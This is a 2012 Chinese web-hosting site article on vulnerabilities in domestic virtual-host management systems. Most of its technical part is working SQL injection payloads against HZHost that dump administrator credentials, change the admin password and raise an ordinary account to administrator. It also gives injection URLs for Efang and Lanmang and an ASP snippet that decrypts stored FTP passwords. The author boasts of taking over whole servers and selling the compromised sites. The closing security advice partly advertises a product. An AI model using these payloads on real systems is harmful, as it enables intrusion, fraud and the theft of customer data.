鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > >

浅析IDC虚拟主机安全问题(含各大主机管理系统漏洞)

来源:互联网 作者:佚名 时间:2012-08-15 20:58
在大多数站长用的虚拟主机,而国内的IDC服务提供商参差不齐,安全性也是差别很多。多数IDC用的都是虚拟主机管理软件,直接安装完设置一下,一个IDC网站,包括整体服务就弄好,所以一切安全性都是软件自动设置。这种软件的好处是显而易见的,方便,不用人工去
在大多数站长用的虚拟主机,而国内的IDC服务提供商参差不齐,安全性也是差别很多。多数IDC用的都是虚拟主机管理软件,直接安装完设置一下,一个IDC网站,包括整体服务就弄好,所以一切安全性都是软件自动设置。这种软件的好处是显而易见的,方便,不用人工去干预。但是一旦软件本身存在漏洞,服务器上的所有站点全都遭殃,而很多IDC服务商由于服务器众多,为了图方便,即使出现一些漏洞,也不会每台机器去打补丁。
 
本人曾经检测过的站点所在服务器,主要使用的虚拟主机管理软件主要有这么几个:
 
------------------------------------------------------------------------------------------- 
星外主机管理系统
 
目前国内70%的空间上都用的这个,曾经以bt的设置权限出名但是近期星外的菊花被爆的也是70%到目前为止官方已经修补了漏洞遇到的星外基本没有可写目录了郁闷的一点是net的马只要执行cmd iispy 直接报错注册表也做了相对的权限设置。以前的具体利用方法这里就不说了。星外又开始bt了。
 
华众虚拟主机管理系统
 
国内50%的空间商都用的这个,而hzhost最新版本是6.5,此版本的管理页面存在严重的SQL注入漏洞,可以任意修改虚拟主机后台密码。程序domain/login.asp对用户提交的参数未做有效过滤,导致SQL注射漏洞。
 
选择域名管理,在域名输入框输入测试的语句。如何判断漏洞是否存在呢?我们输入:sectop' 密码随意输入。爆出数据库为MSSQL的数据库 
 
先爆管理员密码:sectop' and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and '1'='1 
 
密码是MD5加密的,大家去各大解密网站解密。如果密码设置复杂,短时间无法破解。我们可以改管理的密码,使用完毕后请改回去。语句:sectop' UPDATE [memlst] SET u_pss='xxxxxxx' WHERE u_nme='admin'--此语句是把管理员密码改为xxxxxxx我们还可以将自己注册的普通帐户提升成管理员权限,注册请在前台注册。 
语句: 
sectop' UPDATE [memlst] SET u_sys=6 WHERE u_nme='你注册的用户名'-- 
sectop' UPDATE [memlst] SET u_pwr=2 WHERE u_nme='你注册的用户名'-- 
提交以上二句代码即可提升你的权限为管理员。提交后可在前台登陆后转到管理界面,或者直接登陆后台地址。
 
在后台就可以给自己加钱和开通域名和空间,此漏洞危害很大。 
------------------------------------------------------------------------------------------- 
易方虚拟主机管理软件 
http://www.test.com/Pdt_List.asp?Sort=EM'  
http://www.test.com/Pdt_List.asp?Sort=EM' and '1'='1 
返回正常. 
证明存在注入. 
用NBSI 检测:
 
注意:
 
要添加特征字符 
用阿D注入工具不能检测出数据. 
只能用NBSI 或手工注入.   管理员表:EfangAdmin
 
密码加了密. 
跟MD5相似....在怎么利用就不说了,和上面差不多
 
易方的主机系统web目录的随机名称真叫人郁闷,但是只要得到路径可以跨站。 
------------------------------------------------------------------------------------------- 
蓝芒虚拟主机管理系统
 
问题是出在Scripts/agent/Combine/buy.asp文件上,16行到25行之间strSQL="Select a.*, b.STName from v_ProdInfo a, T_DNS_ServiceType b where a.STCode=b.STCode 
 
and a.ProdCode='" & Request("ID") & "' and a.ProdStat<>'3'" 
Set Rs= Server.CreateObject("ADODB.Recordset") 
Rs.open strSQL,Cn,1,1 
If Rs.Eof Then 
Response.Write "<br><br><br><br><p align='center'>无法购买该产品</p>" 
Rs.Close 
Cn.Close 
Call PrintPageBottom 
Response.End 
end if 
大家很容易就可以看到id这个变量从request以后没经过处理直接放到查询语句中.然后就是一个很简单的字符型注入漏洞了.随便去找个蓝芒的站点测试一下,首先得注册一个用户,登陆.然后去业务申请,域名注册里面看看,把鼠标随便放到一个产品的"详细"链接上,记录下它的ProdCode值.我这里是com(如http://www.test.com/  scripts/agent/ProductInfo.asp?ProdCode=com),不过我看好像很多站点都是数字的,例如101,大家按情况改了.然后构造一下注入语句. 
 
http://www.test.com/Scripts/agent/Combine/buy.asp?id=com' and 1=1-- 
http://www.test.com/Scripts/agent/Combine/buy.asp?id=com' and 1=2--
最后猜解出密码941CFBCF40B96B8169CEC930976FEC00,可谓历尽艰辛,发现管理虚拟主机的时候是有个链接是可以ftp登陆的,如ftp://user:password@202.99.12.25,但是我看数据表里也就这么一个密码值了.也就是说蓝芒给这个密码用的是可逆的算法.于是又马上跑回去看代码,最后终于发现里面有解码的函数.但是因为是写在组件里面的,也没得了解它的加密算法.但是,要知道密码,还是有方法滴.
 
<% 
password="25E41385F01E381944F0646AE44187AA" 
Set ASPDe = Server.CreateObject("BlueEncrypt.Decode") 
%> 
密码为<%=AspDe.DeStr(password)%> 
替换一下password的值,然后密码就出来了,呵呵~~~
 
------------------------------------------------------------------------------------------- 
集成好的虚拟主机软件虽然方便管理,但是一旦出现漏洞,安全性也是显而易见的。如果都采用纯手工管理,严格设定安全性,安全性比用别人软件要强N多。 虽然麻烦了很多,也虽说不上一劳永逸,但比有明显存在漏洞的系统管理软件一攻就破然后焦头烂额好多了。退一步讲,如果被入侵了,被创建账户了,黑侠下一步就是要提权了,如果在这一步阻止,他也获取不到整个服务器资源了,据我所知,护卫神·入侵防护系统就有这个功能。
 
但是我发现,真正纯手工配置的服务器少只又少,花钱买安全软件的主机用户也少,这就造成了,有时候我搞目标站以后,拿到了整台服务器的权限,所有站点的资源有了,一个站卖几百,但是有些小站不是很好卖,价格就压低点,卖给流量商挂插件也不错。
 
说了这么多虚拟主机管理系统的漏洞,想必有些朋友对怎么样配置安全的虚拟主机比较感兴趣,其实安全是个整体,很多要注意的安全配置都融入在细节中。所谓一局棋一步错,全盘皆输,多参考网上前辈们的安全配置经验,尽量手工配置,少用软件封装好的一键xx什么的,至少别一键xx之后就不管了,加点防护吧。各种服务器安全软件,花钱买一份儿,有效的。如果遇到更魔的黑侠,入侵了你服务器,你毛了还可以去找那个安全软件商家骂一会儿。:)

网友评论
<